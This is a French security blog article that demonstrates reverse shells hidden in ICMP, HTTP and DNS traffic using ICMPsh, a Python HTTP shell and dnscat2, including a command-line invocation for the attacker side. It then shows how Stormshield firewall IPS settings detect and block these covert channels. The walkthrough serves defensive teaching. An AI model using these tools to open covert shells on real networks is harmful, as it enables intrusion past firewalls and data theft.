Bonne pratique

La protection contre les canaux cachés avec Stormshield

Rédigé par Antoine, le Samedi 13 Novembre 2021

Les pares-feux sont dĂ©sormais systĂ©matiquement dĂ©ployĂ©s dans les entreprises, et la plupart d’entre eux sont configurĂ©s pour filtrer les flux entrant et sortant de l’entreprise. Dans ces conditions, un attaquant ou un programme malveillant qui souhaite exfiltrer de l’information ou rĂ©aliser une prise de contrĂŽle Ă  distance d’une machine interne devra impĂ©rativement utiliser un des protocoles autorisĂ©s pour traverser le pare-feu en sortie.


Dans cet article nous allons montrer comment il est possible de crĂ©er des « canaux cachĂ©s Â», en dĂ©tournant les protocoles usuels ICMP, HTTP et DNS pour encapsuler un « Reverse Shell Â» (invite de commande Ă  distance) qui permettra Ă  un attaquant extĂ©rieur d’avoir la main sur une machine interne de l’entreprise.


Enfin, nous verrons que grĂące Ă  l’IPS embarquĂ© dans les pares-feux Stormshield, et prendra les mesures nĂ©cessaires afin de bloquer ces diffĂ©rentes attaques dĂ©tectĂ©es.


⚠ Cette dĂ©monstration a Ă©tĂ© rĂ©alisĂ©e dans un but Ă©ducatif, en aucun cas vous ne devez reproduire la procĂ©dure sur un environnement ne vous appartenant pas !


Reverse Shell sur ICMP

Dans ce premier exemple, nous allons utiliser les messages ICMP Echo Request et Echo Reply pour « cacher Â» notre canal de commande. Nous allons utiliser l’outil ICMPsh et un simple Shell ICMP inversĂ© avec un esclave sous Windows et un maĂźtre compatible POSIX en C, Perl ou Python, comme un Linux par exemple.


L’ICMPsh est un simple Shell ICMP inversĂ© avec un esclave sous Windows et un maĂźtre compatible. Le principal avantage par rapport aux autres outils open source similaires est qu’il ne nĂ©cessite pas de privilĂšges administrateurs pour fonctionner sur la machine cible.


L’installation est assez simple et se lance en client portable cĂŽtĂ© Windows et un script Python cĂŽtĂ© Linux.

CĂŽtĂ© Linux de l’attaquant, nous mettons le programme en Ă©coute, en prĂ©cisant l’IP du serveur et l’IP du client (ici sur le mĂȘme rĂ©seau, mais le serveur pourrait ĂȘtre sur Internet Ă©videmment).


L'usage de ce programme est relativement simple :

./icmpsh_m.py <serveur> <destination>

<serveur> : Adresse IP de notre Linux, faisant office de serveur

<destination> : Adresse IP de la victime, Windows cible



Affichage de la console Linux du cÎté de l'attaquant avec l'adresse IP du serveur et de destination



CĂŽtĂ© Windows de la victime, nous exĂ©cutons le « client Â» ICMPsh, tout en prĂ©cisant l’adresse IP du serveur :



Affichage de la console Windows PowerShell du cÎté de la victime



CĂŽtĂ© Linux de l’attaquant, on voit dĂ©sormais que nous avons la main sur son poste en ligne de commande :



Du cÎté de l'attaquant, nous obtenons par la suite un accÚs à l'Invite de Commande distant



Reverse Shell sur HTTP

Notre objectif est maintenant d’obtenir un Shell Ă  distance, passant par le protocole HTTP Ă  l’aide d’un script Python (exemple : https://github.com/mayurkadampro/HTTP-Reverse-Shell).

CĂŽtĂ© Linux de l’attaquant, nous mettons en place notre serveur en Ă©coute (ici sur le port 5003, mais dans le cas d’une attaque rĂ©elle cela serait sur le port 80, afin que ce dernier soit autorisĂ© sur le pare-feu).



On lance le script Python faisant office de serveur malveillant



CĂŽtĂ© Windows de la victime, nous exĂ©cutons le script « Client.pyw Â» et nous obtenons alors une connexion avec un Shell directement sous Windows !



Suite à notre attaque, nous remarquons que la connexion Shell est récupérée à distance


Reverse Shell sur DNS

Notre dernier objectif dans cet article est d’obtenir un Reverse Shell en passant par le protocole DNS sur le port 53. L’architecture repose sur un serveur Linux sur lequel un serveur Ruby exĂ©cutant DNSCat Server et un client Windows dans lequel le client DNSCat sera importĂ© et lancĂ© sur Powershell.


CĂŽtĂ© Linux de l’attaquant, nous lançons l'utilitaire Dnscat2 :

ï»ż


On lance sur le serveur attaquant DNSCat2 suivit d'un domaine DNS



MĂȘme principe, on lance du cĂŽtĂ© du Windows de la victime sur PowerShell, le script client DNSCat2 avec le domaine prĂ©cĂ©demment spĂ©cifiĂ© et l'adresse IP du serveur DNS malveillant :




On obtient grĂące Ă  cela un accĂšs distant Ă  l'Invite de Commande avec les droits utilisateurs distants de la console PowerShell !



Une fois les procédures effectuées, nous obtenons ainsi un accÚs à l'Invite de Commande distant


Les contre-mesures avec les pares-feux Stormshield

GrĂące Ă  la protection IPS intĂ©grĂ©e (et active par dĂ©faut) dans les pares-feux Stormshield, ce dernier analyse les flux transitant par les protocoles spĂ©cifiĂ©s et dĂ©tectera l’usage anormal des protocoles.


VĂ©rifier que sur vos flux sortants concernant les protocoles ICMP, DNS et HTTP, le niveau d’inspection est bien positionnĂ© Ă  IPS (par dĂ©faut).


Il est important de garder Ă  l’esprit que la sĂ©curitĂ© IPS regroupe des fonctionnalitĂ©s permettant de filtrer et de bloquer le trafic malveillant, comparĂ© au niveau d’inspection IDS, qui va dĂ©tecter l’attaque et l’option Firewall qui n’inspecte pas le trafic.


Pour activer l’IPS sur vos rĂšgles de sĂ©curitĂ©, aller dans CONFIGURATION > POLITIQUE DE SECURITE > Filtrage et NAT.

Double-cliquez sur une de vos rĂšgles actuelles, aller dans le niveau d’inspection et sĂ©lectionnez IPS.



Sur l'interface des pares-feux Stormshield, lors d'une Ă©dition de rĂšgle de filtrage, il est important d'activer le niveau d'inspection IPS



Si maintenant nous tentons à nouveau de créer les canaux cachés précédents, voici les alarmes qui seront levées sur le firewall :



Des alarmes de type "Modification des données ECHO ICMP" sont générées du cÎté du Stormshield SNS


...et il ne sera pas possible Ă  l’attaquant d’envoyer ses commandes :



CÎté HTTP, la connexion est bloqué




Alarme « DonnĂ©es additionnelles en fin de rĂ©ponse Â» levĂ©e


Du cÎté des DNS...



CĂŽtĂ© DNS la communication ne peut s’établir




Alarme « DNS Tunneling Â» levĂ©e


Nous avons dĂ©montrĂ© l’efficacitĂ© de la protection IPS de Stormshield. Il est en effet trĂšs important de mettre la protection IPS pour toutes vos rĂšgles crĂ©Ă©es sur la solution.

Dans les protections applicatives, le mode Firewall (FW) n’effectue aucune vĂ©rification de sĂ©curitĂ©, l’IDS ne dĂ©tecte que l’attaque mais ne la bloque pas, contrairement Ă  l’IPS oĂč il dĂ©tecte et bloque les attaques.


Il est Ă  noter que d’autres canaux cachĂ©s existent, notamment via les flux chiffrĂ©s en TLS (HTTPS
), dans ce cas les pares-feux Stormshield sont capables de jouer le rĂŽle de proxy TLS afin de continuer Ă  analyser ces flux Ă  la recherche d’abus sur les protocoles sous-jacents.


Enfin, sachez que les pares-feux Stormshield disposent d’une alarme « DĂ©tection de session Interactive Â» qui se base sur la statistique des donnĂ©es Ă©changĂ©es sur une session et qui permet de dĂ©tecter tout canal cachĂ©, y compris sur des sessions chiffrĂ©es (SSH, HTTPS
).


Il peut ĂȘtre intĂ©ressant de surveiller cette alarme (par dĂ©faut elle est positionnĂ©e sur « Ignorer Â») pour vous assurer qu’il n’y a pas de flux illĂ©gitimes qui traversent votre firewall (ou tout simplement pour ĂȘtre alertĂ© lorsqu’un administrateur se connecte en Telnet, SSH ou RDP sur une de vos machines
).